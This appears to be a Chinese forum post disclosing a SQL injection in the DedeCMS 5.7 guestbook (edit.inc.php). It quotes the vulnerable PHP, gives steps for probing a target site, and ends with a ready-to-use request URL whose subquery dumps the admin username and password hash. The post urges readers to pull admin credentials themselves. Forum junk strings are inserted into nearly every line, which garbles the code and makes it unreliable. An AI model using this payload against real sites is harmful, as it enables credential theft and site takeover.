影响版本为5.73 I! D; S) H1 k/ l; i- f% g& U' T; e# s
- y4 G% q% v* j& {2 J) K
漏洞文件edit.inc.php具体代码:+ e1 m/ l1 k9 n0 k2 t0 ^) W9 f: H
# Y, z( a3 v; J7 f i2 }
< ?php 4 I$ p+ f9 G0 k% n$ V1 `
7 u; ]$ D. Z7 u" [! B' a1 k/ v @if(!defined('DEDEINC')) exit('Request Error!'); , ?, ]4 i: q8 i# e, ]9 N
2 ^& U# }- a, r$ n$ u
- _$ T% d6 W7 o# T* `, m# G' R) y/ w* i0 `& `, j3 K
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; % c9 e6 _* \0 w0 h
) T- o9 u6 q; b( ^, [2 N8 g2 U* q
else $GUEST_BOOK_POS = "guestbook.php"; ! [; u0 j# z) M3 m9 E. [* X
4 u4 p2 B* _) I9 `, {2 B& d
6 M% U& |' { S& V) |. U1 T! p- J Y" V& i( C. L9 x- E9 o
$id = intval($id);
" Q3 n5 W' d, l) V* V
& d5 x* G$ f0 ~2 N, B0 C6 h" fif(empty($job)) $job='view';
) d2 J( u b- J# u( |" h
0 ^1 q; e0 X. z- [ 8 k/ f# L3 {- y+ Z5 Z! W
+ S( d) j2 r: m8 W! H r9 w1 H9 H
if($job=='del' && $g_isadmin)
; x8 B1 l7 d g2 z
% Y8 P% m$ S8 e; h{
( M5 i' _, ]: A* K, o O& ^& m; q, P0 }, R: R: l. Y
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
5 P$ m4 x! n0 Q N2 e, _4 C, f4 r8 B+ E7 G) K
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
: q. S5 O6 ^) t9 W5 h( A$ S" R, z( S, l; O7 E
exit();
/ Z' x' E2 N+ e2 j; @: W( T: k2 Q, |, w! d6 J& x5 `
} ! a; H% C" e5 |/ }8 a$ d
3 D1 U. G. ^* b0 Uelse if($job=='check' && $g_isadmin) $ [+ k E. u+ K; t$ o4 M
; a5 V5 S/ b( M+ J
{ 5 Y. `' j" p4 y @* B
" Y' g# j! w" T/ ]& e& }8 q1 G
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); % W. O3 e! X, X
) _. o6 E$ A8 }1 F0 F1 [; e& {1 \- LShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); % J, I) I$ `& `1 c/ {$ E
x8 n2 o; k% ]2 R j; l* T( I" B
exit();
& k4 O/ G& {) h4 C& ^4 _5 W& F- m4 n* \+ b
}
/ t' Q0 n& j) `4 v: W
4 s: U" W F* j4 b* @else if($job=='editok')
8 e7 O- t3 O2 Y0 A( j' m& e$ V8 J1 e2 D4 o( r
{ 0 a- B0 `# G$ W/ g. Q" d
8 l" `( E" _) `# _. a8 `$remsg = trim($remsg);
; Y1 G. k$ Z) O% Z X/ s
0 i. b8 D6 i- B9 ^1 l8 G4 J* Lif($remsg!='')
* h+ {: ~* E$ k2 v* |4 t$ Z
! h5 X- D" O& N* B{ , I6 m2 K$ |$ o/ O) x4 @- O
- @# t7 h6 [7 w! C" C0 K1 b1 p//管理员回复不过滤HTML By:Errorera blog:errs.cc + I/ _; y& M5 T' g9 m+ b
; y+ ~5 F1 ~5 f5 x$ q* j6 J0 rif($g_isadmin) : C, X+ e B% z2 y, X
/ J1 T/ r. K# L6 X) l{
2 e2 x* b% l5 N! T D
: K6 f, G* D5 L$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; ( @) B) f }) C2 F" i7 q
* \3 Y: S+ B$ ~/ O
//$remsg <br /><font color=red>管理员回复:</font> }
( r, Z8 _0 t. Z5 A$ G8 F9 R: C9 D# F
else
" }4 Q8 T3 N5 {4 y3 D# e
0 w, T0 V2 b( ]{
1 D4 A5 H, U2 Q3 q8 U Y! [) @5 t6 C$ J. i* Z
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); # X& Q9 D) Y& W! T+ d0 v. v+ N
! _4 @& F% }" t, w( R$ P$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; : |6 T* w: \+ [4 K' X* |
( n0 R# T+ {" J, D3 O2 C8 H
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 0 l3 q' J, q4 D2 ^* T* Q- l
2 d$ k8 Z5 F2 g4 x; i+ k" d
$msg = $oldmsg.$remsg;
, T$ B" f9 n, p6 M, R; f, t) g0 e
+ i2 e9 } \+ t; t" F" n# r} # ^% {9 F' A, w% J
) O' g( g r: |( `" S7 P! a* w} 9 B& _. |$ [/ q9 |
1 s! S+ i' d7 h5 G
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
- H( X$ c! @' ?$ G- a9 ^" T$ Z& f c- H! y5 D+ Z+ G' a1 |% P
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
2 ~% O4 I0 v7 B! t; O$ w+ m
" E8 g& S+ C/ L9 o7 f7 z6 fShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
; |$ Q# _( n0 U. f! D" p, o1 z) g
9 d& l1 `: O2 ]$ m. W5 ~exit(); 3 e1 y6 L; m' z& W1 W
8 R3 E$ P) i7 T1 [+ q
}
7 s+ h% C& U; Y& c0 a; i3 a% Y ]2 O- g$ F" K- q. h* ~
//home:www.errs.cc
0 a; G# r8 y9 P# L1 B" s! f" z6 A" P( E5 Q4 M* j6 {9 p
if($g_isadmin)
. b' d9 j, `0 R+ s q
& `( J9 m1 W% b# [0 x; w( B{ ! E5 y3 }7 h6 f) T: S K
# H$ l1 p/ `% }2 p% _$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
7 I, C8 y4 Z* I' ?
. a% L( V* E) u3 |: ^require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ! q# u5 Y0 r: u; l5 b9 c6 u
5 ]1 H+ X& `; \6 L3 u
} ' u: Q! B6 ^/ _
8 I3 t6 q( |& u: ^9 J5 k/ S: |# Oelse
4 U% }( f# ?' ~* f3 |+ p# V. V0 `* T2 }. c' p+ r) h
{ # c* i- V1 \$ V( o' f5 W
6 t, a$ \; L* h- o( j5 Y$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 2 @8 F% t4 p% k8 Q. k6 q9 n$ }4 F- c+ @
6 X- Q. r; [8 t; X$ V1 prequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
; a' ^) B# |( W- N8 w
$ k8 a, B9 A6 k- f2 e/ A+ k} 漏洞成功需要条件:
& j# ^/ K2 }3 H& l8 z' ]$ ?8 K1. php magic_quotes_gpc=off
/ t- J. z( o4 }7 f2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。+ M7 ]# F4 E/ l. t
# l+ d7 l8 \' I8 b3 Z- t3 e0 d怎么判断是否存在漏洞:
6 E8 C4 X' R" _" y先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,, T4 h8 I1 Y& ^6 u/ Y' X0 v
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
! s- k( m: o7 H访问:. [& I! U+ c1 z i5 z
- {3 Z& y9 A& }5 L1 C S
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 i D( Q% s! h' r9 t
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证8 H% n4 T; x8 A2 b2 S6 F/ y# X q
$ O4 s2 V# ]0 O; o8 J
2 b! }( W( \& O) x, L
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ t6 m6 K# o6 A) z
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。( F; b+ i0 b! ]# ]8 d5 H
那么再次访问0 y5 H) X6 l" u
# f3 Q) O* Z& R* {5 Y) b$ f
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().9 h# Z; ]% {8 r' e/ I( k' Z& M$ a9 f
3 g+ V" ]( } ]6 L0 V& I* T大概利用就是这样,大家有兴趣的多研究下!!
/ `6 ]5 ~+ A2 ~5 \5 q& o3 l0 w7 H3 t8 o3 d" l( V7 h- Z
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
4 R1 h3 |3 w' x) B( `# W
- W6 D- V6 N X. \ O$ ], ~view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |